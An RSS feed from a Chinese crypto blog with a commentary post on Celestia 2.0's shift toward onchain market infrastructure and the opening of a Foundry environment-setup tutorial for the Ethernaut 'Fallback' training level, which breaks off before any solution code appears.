<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>ccboomer</title>
        <link>https://paragraph.com/@ccboom</link>
        <description>undefined</description>
        <lastBuildDate>Thu, 16 Apr 2026 05:58:32 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>ccboomer</title>
            <url>https://storage.googleapis.com/papyrus_images/91f43f6c7f82c9b81e862fe5a509a732d2fb622d84afac796e400b71b1244f3b.jpg</url>
            <link>https://paragraph.com/@ccboom</link>
        </image>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[Celestia 2.0 不是升级，而是一次赛道切换]]></title>
            <link>https://paragraph.com/@ccboom/celestia-20-不是升级，而是一次赛道切换</link>
            <guid>aPWl95wexiPPR685p0cW</guid>
            <pubDate>Sat, 11 Apr 2026 06:25:33 GMT</pubDate>
            <description><![CDATA[大多数人还在用旧叙事理解 Celestia：模块化、发链、给 rollup 提供数据可用性、让区块空间更便宜。这些都没错，但已经不是现在的主线了。 Celestia 2.0 不是升级了一个版本号，改的是它到底在解决什么问题。它开始从“链基础设施”转向“市场基础设施”。]]></description>
            <content:encoded><![CDATA[<div data-type="x402Embed"></div><p>大多数人还在用旧叙事理解 Celestia：模块化、发链、给 rollup 提供数据可用性、让区块空间更便宜。这些都没错，但已经不是现在的主线了。 <strong>Celestia 2.0 不是升级了一个版本号，改的是它到底在解决什么问题。它开始从“链基础设施”转向“市场基础设施”。</strong></p><p>过去几年，加密基础设施大体都在围着三件事转：谁能让执行更便宜，谁能让共享状态更快，谁能让团队更容易发一条链。 Celestia 1.0 其实也在这个框架里。它的关键词说到底只有一个：<strong>more chains</strong>。 模块化把执行、结算、共识、数据可用性拆开，解决的是供给问题：怎么更便宜地生产区块空间，怎么让更多团队把链发出来。</p><p>但供给不是终点。 链发出来以后，不是“应用”能稳定密集的使用区块，而是更具体的东西：<strong>市场</strong>。 有报价，有排序，有结算，有持续流动，有规则边界，也有隐私和延迟要求。 你把问题看到这里，Celestia 2.0 才真正有意思起来了。</p><p><code>Celestia Vision 2.0: every market onchain</code> 的分量就在这里。 它不是在说“Celestia 更快了” 而是在说：如果区块空间足够大、足够便宜，还能按需要定制，那么上链的对象会从 app 扩展成 market 本身。 这听起来像叙事升级，实际是在换赛道。 Celestia 不再只是帮别人把链发出来，它开始想回答一个更野的题目：怎么让更多市场直接长在链上。</p><p>为什么要把 market 和 app 分开看？因为两者对底层的要求根本不是一个量级。 普通 app 当然也写状态，但它的写入往往是离散的、低频的、以用户交互为中心的。 market 不是，market 是持续运转的系统。 它吞的是事件流：报价、撤单、撮合、清算等等。 它不只要吞吐，性能，还要排序，还要规则控制。 很多人讨论链上未来，脑子里还是“更复杂的 app”。我看以后未必是这样的。 未来真正把区块空间吃满的，更可能是 market。 很多人脑子里的 market 还是 orderbook、perps、auction。但如果 query、data access、machine-to-machine interaction 本身都能被定价、结算，它们也是 market。 这里 Celestia 2.0 真正在扩展的，不是某一个金融垂类，而是“什么东西可以成为上链对象”的边界。</p><p>如果这个判断对，Celestia 2.0 就不是一次常规升级，这个时候它更像一次赛道切换。 因为它不再把自己放在“谁更适合承载更多通用应用”这条赛道上，而是开始回答另一个问题：<strong>当市场本身成为上链对象时，底层该长什么样？</strong></p><p>为什么我说这不是空谈？因为 Celestia 现在拿出来的是两条很硬的技术路线。 第一条是 <code>Fibre</code>。官方把它明确指向 <code>1Tb/s of blockspace</code>。 你当然可以怀疑这个量级什么时候真的能落地，也可以怀疑市场需求会不会跟上，但你不能忽略它在回答的问题：如果未来要承载的是海量高频 market activity，而不是几条链上的少数热门 app，那么区块空间的量级就必须先被重新打开。 <code>Vision 2.0</code> 里那句判断我觉得抓得很准：如果 10KB/s 打开了 AMM 时代，10MB/s 打开了链上 orderbook 时代，那么再往上推几个数量级，才可能打开“everything markets”时代。 重点不是“更快”本身，重点是<strong>什么东西终于变得可行</strong>。 这个判断并不是我瞎说的。官方自己拿 Hyperliquid、Bullet、VEX 这类已经把链上市场往高吞吐方向推的系统当参照，意思很清楚：以前大家总觉得区块空间只要比现在多一点就够了，结果市场真的开始写状态以后，MB/s 量级都只是起步。 Celestia 2.0 想的是，再往上推几个数量级，链上市场的种类会跟着变。</p><p>第二条是 <code>Private Blockspace</code>，这也非常关键。 因为下一代链上市场并不都会跑在完全公开的 execution surface 上。 只要涉及机构流、敏感 orderflow、私有撮合等私有形式，问题就不再是单纯把吞吐堆上去，而是如何把<strong>隐私、可验证性和结算可信性</strong>同时放进系统设计里。 https://blog.celestia.org/introducing-celestia-private-blockspace-confidential-onchain-finance/ 这个文章里说得很直接：高价值市场最敏感的数据，恰恰是 positions、balances、liquidations、routing logic 这些东西。 你把这些全裸露出来，市场根本没法成立；你把它们全塞进黑箱里，又会把“上链”的意义削弱掉。 Private Blockspace 回答的，就是这个矛盾。</p><p>这时候再看主流路线，差异就清楚了。 先看 <strong>Ethereum rollup stack</strong>。它在优化的是一个非常强的问题：如何围绕 Ethereum 这个结算与安全中心，把更多 execution 变便宜。 blob、proto-danksharding、full danksharding 的逻辑都服务于这个方向。它的默认世界观很清楚：把更多 rollup 接到一个共享结算中心周围，让执行更廉价，让生态保持组合性。 这套路径对大量应用合理，对不少市场也合理。但它的默认出发点还是“围绕一个结算中心组织更多执行”。 Celestia 2.0 的出发点不一样：你可能不是想做一个挂在共享中心周围的 app，而是想做一个<strong>有自己规则、有自己排序需求、有自己 blockspace profile 的 market chain</strong>。 这两种世界观的差别，表面看像架构选择，实际更像 business model 选择。 Ethereum 路线在优化“更多东西围绕一个中心结算层长出来”。 Celestia 2.0 在优化“更多市场如何拥有自己的执行和规则，同时不必为此重建完整底层”。 前者像一座越来越大的金融中心，后者更像一片专门给市场搭的工业园。两者都可能成功，但不是同一个方向。</p><p>再看 <strong>Solana、Monad 这类高吞吐 shared execution L1</strong>。这条路的目标也很清楚：把一个共享执行环境做得足够快，让更多 activity 在同一条链上完成。 Solana 的 Sealevel 很早就在回答怎么让一条链上的执行更快更并行，Monad 也明确把目标放在在保留 EVM 兼容性的前提下，把高性能 shared execution 做上去。它们的优势很直白：共享流动性，统一状态，开发者不用先思考链级设计，先把东西做出来再说。 但 shared execution 的好处，恰恰也是它的边界。因为市场一旦不是普通 app，而是高频、延迟敏感的系统，你就会越来越在意几件事：我能不能完全控制排序逻辑？我能不能避免在最紧张的时候和别人的 activity 抢同一块共享执行面？ 共享执行环境不是不能承接市场，而是<strong>越往高价值、高频、专用规则的市场走，它的默认设置就越容易显得别扭</strong>。</p><p>最后看 <strong>Cosmos / appchain 路线</strong>。它跟 Celestia 最像，因为它也很早就意识到：当应用真的重要到一定程度，它可能根本不该继续寄居在别人的共享环境里，而应该有自己的链。这个判断我一直觉得是对的。问题在于，传统 appchain 路线把太多负担留给了团队自己：共识、网络、运维、生态整合、链级复杂度都跟着上来。你不是在做产品，你先在做一个小型基础设施公司。</p><p>Celestia 2.0 的竞争点不是“专用链这个想法是我发明的”。它真正想做的是把“专用市场链”变成一个更轻、更共享、blockspace 更像基础设施服务的默认路径。换句话说，它不是在鼓励所有团队都去重造一条 L1，而是在说：<strong>如果你的市场真的需要专用环境，那你应该默认用共享底层把这件事做轻，而不是先把整个数据中心背在身上。</strong></p><p>所以我会把 Celestia 2.0 的对手理解成三种不同的世界观：rollup-centric、shared-execution-centric、appchain-centric。它不是要在每个维度上都赢，而是在承接一类以前没有被很好承接的问题：<strong>market-native systems</strong>。这也是为什么我说，它的对手不再只是“别的链”，而是别的基础设施哲学。</p><br><p>当然，这个叙事不是没有风险。 第一，市场需求未必会像愿景里那样快地迁移上来；技术可能先到了，真实采用没到。 第二，<code>1Tb/s</code> 这种量级是方向和工程目标，不等于今天所有 market 都已经有成熟承载面。 第三，regulation、distribution、冷启动和机构采用路径，也仍然可能比技术更早卡死很多市场。 第四，Celestia 自己也得把 2.0 叙事对应的产品栈真的做出来：不只是 blockspace 更大，还得让 market chain 更容易 launch、更容易 interop、更容易被 builder 用起来。<strong>Celestia 2.0 不保证这些市场一定成功，它只是让它们第一次有了更像样的基础设施候选。</strong></p><p>但这已经足够重要了。因为这意味着 Celestia 的问题定义变了。它不再主要是在回答“怎么让更多链存在”，而是在回答“当市场本身成为上链对象时，底层该长什么样”。 你要记住：这不是升级。这是赛道切换。</p>]]></content:encoded>
            <author>ccboom@newsletter.paragraph.com (ccboomer)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/d1b932a13d0ea89fd6f429a6822eb0a68138edcfe2c426d816c5cee065eb95ad.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Week_7
/Day_1 环境搭建：Clone foundry-ethernaut,解决 Level 0-1 (Fallback)]]></title>
            <link>https://paragraph.com/@ccboom/week_7-day_1-环境搭建：clone-foundry-ethernaut解决-level-0-1-fallback</link>
            <guid>TYvKf3I6C2SCS5qqK4lU</guid>
            <pubDate>Sun, 18 Jan 2026 08:52:50 GMT</pubDate>
            <description><![CDATA[Ethernaut 第一关：Fallback我们今天不等了，直接进入实战，]]></description>
            <content:encoded><![CDATA[<h1 id="h-ethernaut-fallback" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Ethernaut 第一关：Fallback</h1><p>我们今天不等了，直接进入实战，运用前面学习的知识来攻克难关</p><h2 id="h-foundry" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">为什么使用 Foundry</h2><p>我们使用 foundry 来攻克 ethernaut，今天首要的目的是先安装环境。</p><p>Foundry 的最大优势是：</p><ol><li><p><strong>速度非常快</strong>：运行测试飞快</p></li><li><p><strong>Solidity 原生</strong>：可以使用 Solidity 来写攻击脚本，这让你对合约的理解更加通透</p></li><li><p><strong>强大的主网分叉</strong>：你可以在本地克隆一个 sepolia 的状态，在不花一分钱的情况下无限次的去尝试攻击，直到你成功之后再提交上链</p></li></ol><p>我们为什么要使用主网 fork？直接在上面测试不就好了？</p><ol><li><p>每次测试都要等出块，这大大增加了测试的时间</p></li><li><p>每次测试不要 gas 吗？</p></li><li><p>fork 模式允许你瞬间完成交易并拥有无限的 ETH，比链上测试爽多了</p></li></ol><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">环境配置</h2><p>首先我们需要配置一个 sepolia 的网络通道。</p><p>依旧是使用 sepolia key，我们可以去 Alchemy 或 Infura 申请一个免费的 key，免费的足够用了。</p><p>然后需要准备一个钱包的私钥，里面需要放一些 sepolia 的 ETH，千万不要使用有钱在里面的钱包，推荐创建一个新钱包然后往里面转一些 Sepolia ETH，然后把这个钱包导入到网页钱包例如 metamask 钱包中。</p><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">初始化项目</h3><p>我们重新初始化一个项目：</p><pre data-type="codeBlock" text="forge init ethernaut-foundry
cd ethernaut-foundry
"><code>forge init ethernaut<span class="hljs-operator">-</span>foundry
cd ethernaut<span class="hljs-operator">-</span>foundry
</code></pre><p>然后在这个项目中创建一个 <code>.env</code> 文件来保存我们的 key 和私钥，内容如下：</p><pre data-type="codeBlock" text="SEPOLIA_RPC_URL=https://eth-sepolia.g.alchemy.com/v2/你的API_KEY
PRIVATE_KEY=你的私钥 (0x开头)
"><code><span class="hljs-attr">SEPOLIA_RPC_URL</span>=https://eth-sepolia.g.alchemy.com/v2/你的API_KEY
<span class="hljs-attr">PRIVATE_KEY</span>=你的私钥 (<span class="hljs-number">0</span>x开头)
</code></pre><p>运行 <code>source .env</code> 来让终端加载这些变量。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">获取关卡</h2><p>这时候我们需要获取关卡了。</p><p>我们打开 ethernaut 的官网：https://ethernaut.openzeppelin.com/</p><p>并链接你上面私钥的钱包。</p><p>今天我们要进行第一关，所以点击 01 的图标。</p><br><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c8551d50ae80023f1489e2420927bbfc669f100dd9885b09a28594fa5ba76f0a.png" alt="image" blurdataurl="data:image/png;base64,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" nextheight="735" nextwidth="711" class="image-node embed"><figcaption htmlattributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>进入网页之后最下方有一个 <strong>deploy contract</strong>，相当于部署一个当前的合约到链上。</p><br><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/598ed7fd2a37a1faf381dfa5870d925d08281029f2a8ae2b08a7d51b43c92d09.png" alt="{9638395C-85FD-41C6-B112-23243CCBA8FF}" blurdataurl="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAIAAAD8GO2jAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAE30lEQVR4nKWUTWgbRxTHZYTJPY53dz53Je1KK+vLlm3FhELJIaGltOdCj4VCoZfceg1toDRQSprQUiil5NCPQwIhaXGbOsVNHJPGsuVE0sbSWrLlSitFH46bWFIUW2W0jhxCiNfK469leJqZ37x5743tSCQyCDH2BuRQIDgWdo8EJVmWXS5RFB0UOyiWCHJQ7CTYSQkAULBsPM8nZ/+yHZkYPzQwADEGGPEQcBgJCGKMEUIEQYIQghAjU0gAoAfAYZ7nAc8DjmM+juN5jn3NgSDwPHObZn33ZwCRcR4SKClEcro9bkVRiFNBopN5nG4IgMALAhDAfs7+HCAycIijqqqMDitBnzPkw4ri9ntdQ8NU9QkIskCeWk+AifGDBwccLjkQCASDQX8w6Az5YMArqm5JUdRwyKOqiqJ4VNXhcEAIe4vgEICI3Y/bTWWZ+lXolABEELJsY4xJxxBC+7qo3Qh4XuguZnk0d+nklO8ay3lvSZ44zLFiEVjNsI3Yj3F4oVNEpgEBwH3dzy5gIjLOIYrdQWUoNBoOh8OjIyPDLn8Q+UNE8UJRQU4PlmQs+4go9QJgfcBxEBGIKaVUFEXJQaEk8pQgkT47nakXQCTC8QIAEAIBQggA6zlBEPDTG+E7DbivrZ8H8JAS97DsC4+NjalDfuQPOX3+4EjEGxwhsgM4JSiJr9BoLMmDEGKAWCVCBAUMAHuRKCQEUgJECigBwit0MicAhCmCCCACIIFYggibLxLHccIgG5hV2yNgkAdU9Up+P/UFsM9P3UMer09WZMXNniZRdgGXE8sylSiLj98n4LUjEZ7nPF7VM+QlqkJCQ0R2EIxEZkRyUCKKSKRIpISYrzi0KAgBA4wOh2x9/fb+A3Z7f1d9z8i+47H32e27c/oP7Kk+e398Zsp2/tuzX546eebzT898tofOnf7k3OlT506fOmthsqn76Zit3ai0H1f3VrPSflRsP/i3vVFo18uWljyubldytqax3DD0l6heSLdrax+f+OidN4+f+PCD99979/jR11Nzf7cruXoh/fK1rWLG1ipl91Ax0/7PePuNYzZb31vHjo6F/Dab7c6Nq+1HRtNY3nP5iwFNY7mrhqFvlVenLv3y3dkvLv/4w0/ff33+m6/K+uKTUrZh6N1p1gDFzHZ59cFKMq9Fy/piWY+V9dj9dMzQ5jdWtHpB38jde7SWqhf0sr5oaAulpR0Z2ryhzW+VVy0AKrmKvvgwd69pLG/mU5uFdLOYMVc2i5lWV6XsVnm1q1YpW1pa2Cpbi2B9JVFI3o5d/z02PXlz8kIqOtOurZmbviRP99MLViOo6ncf5rRW52iPC8utIjtss5htGDtzdmBssLuwE4ElwGotmzC06OL1P+IzU3r0RmL2mjZ7deZW7k6ytl1ebldy25Vcq5TdrnQu5ynMOiBXzdzdyGmNfHojp1Uzdx+sJDcL6Wo2/jC3VC+kq3p8PZtoFTPrzHPPhDFAyiKgk4N88vadG1ej05PXJy/e+vOyObg5een2tV+nLv08feUC8/x2YfrKxUxs1mSUUgtPLJUpiyBeTrPqLGhRQ5vPa3P55FxxaSGfZIOCNlfQomvxf9hfzD9fL6Q38ylrZdpRw9Ar+mItE69l451vgg2YEusd1TLslsy/2GlYryxsrCReCPgfZGxeXIprxmEAAAAASUVORK5CYII=" nextheight="829" nextwidth="822" class="image-node embed"><figcaption htmlattributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">创建本地合约文件</h2><p>接下来我们要把创建一个这个合约到本地。</p><p>我们在 <code>src</code> 文件夹中创建一个 <code>fallback.sol</code></p><br><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c5651ec11fe2618509a741ac24e891adf700f8c3544438b863eba002aff2fd1d.png" alt="{6A0FA691-7DCC-4B77-89BE-340CB444C83F}" blurdataurl="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAFCAIAAACreXkmAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAA+0lEQVR4nGPg4NXQUPdUUHYwsAlTN/Bg51Xn5NOgEHEJaJrbR/II63HwqzIIiJv6ehfZ2sa1Ld0SkVrFI6AvJm0tLGEuJGEOYYhJW5OKJOXsI9MaZBWd+CUMGJRV3TU0vB3dCzU1/S3t4kPiq3UMgvWMQ/UNQ1S1fM2tY+QVXRSU3UhC8oouqhreyipeBmZhDOycKlKyVi0zT6jqey0+c+rq/x/rbtzY/uRO84LlC04cC80sZWCQZuNUYWFTJh4xMMhm1PXyi+nLqTozODrlhIfV29plODplubgVuLoVePmXevoUe3oVe/mWOrvlOTrlkIGc3fLc3Ast7RIAIsllN4QVJwAAAAAASUVORK5CYII=" nextheight="44" nextwidth="311" class="image-node embed"><figcaption htmlattributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>然后复制 ethernaut 网页上的代码放入其中。</p><br><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/7dd817a6960cb5e230b27c0393348865a1606b6c20cc1bbabb842bfecaab1755.png" alt="{82BCB538-AAE9-4074-9370-986A6C4CA924}" blurdataurl="data:image/png;base64,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" nextheight="779" nextwidth="669" class="image-node embed"><figcaption htmlattributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>接下来找到 <code>test</code> 文件夹，在其中新建一个测试文件，我这里把它起名为 <code>fallback.t.sol</code></p><br><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/fd4ff7e85ce258f75a64b68204c139e2a9bed1c43d146794b935345fed47798a.png" alt="{CA7D26C0-4F4F-4E44-8F88-6B4F6207E5E9}" 